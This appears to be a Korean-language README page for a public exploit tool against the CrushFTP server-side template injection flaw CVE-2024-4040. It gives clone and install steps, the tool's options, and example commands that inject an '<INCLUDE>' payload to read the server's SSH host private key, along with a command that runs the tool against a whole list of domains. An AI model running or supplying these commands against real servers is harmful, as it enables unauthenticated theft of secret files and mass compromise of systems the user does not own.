
영향을 받는 서버에서 인증되지 않은 파일 읽기, 인증 우회 및 원격 코드 실행을 가능하게 하는 CrushFTP SSTI 취약점(CVE-2024-4040)용 익스플로잇.
CVE-2024-4040은 CrushFTP 10.7.1 및 11.1.0 이전의 모든 버전에서 발견된 서버 측 템플릿 인젝션 취약점으로, 모든 플랫폼에서 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에서 파일을 읽고, 인증을 우회하여 관리자 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다.
git clone https://github.com/gotr00t0day/CVE-2024-4040.git
cd CVE-2024-4040
pip3 instrall -r requirements.txt
usage: CVE-2024-4040.py [-h] [-t TARGET] [-f FILE] [-d DOMAINS]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target to scan
-f FILE, --file FILE file to fetch
-d DOMAINS, --domains DOMAINS
file containing list of domains
# MAKE SURE YOU USE THE <INCLUDE> TAG OR ANY OTHER TAG TO EXPLOIT THE TARGET, SOMETIMES YOU DONT NEED ANY TAGS.
# Exploit a target
python3 CVE-2024-4040.py -t http://TARGET:8080 -f "<INCLUDE>ssh_host_rsa_key</INCLUDE>"
# Exploit a list of targets
python3 CVE-2024-4040.py -d ~/list.txt -f %hostname%
자세한 사용 방법은 ATTACKERKB ANALYSIS를 참조하십시오.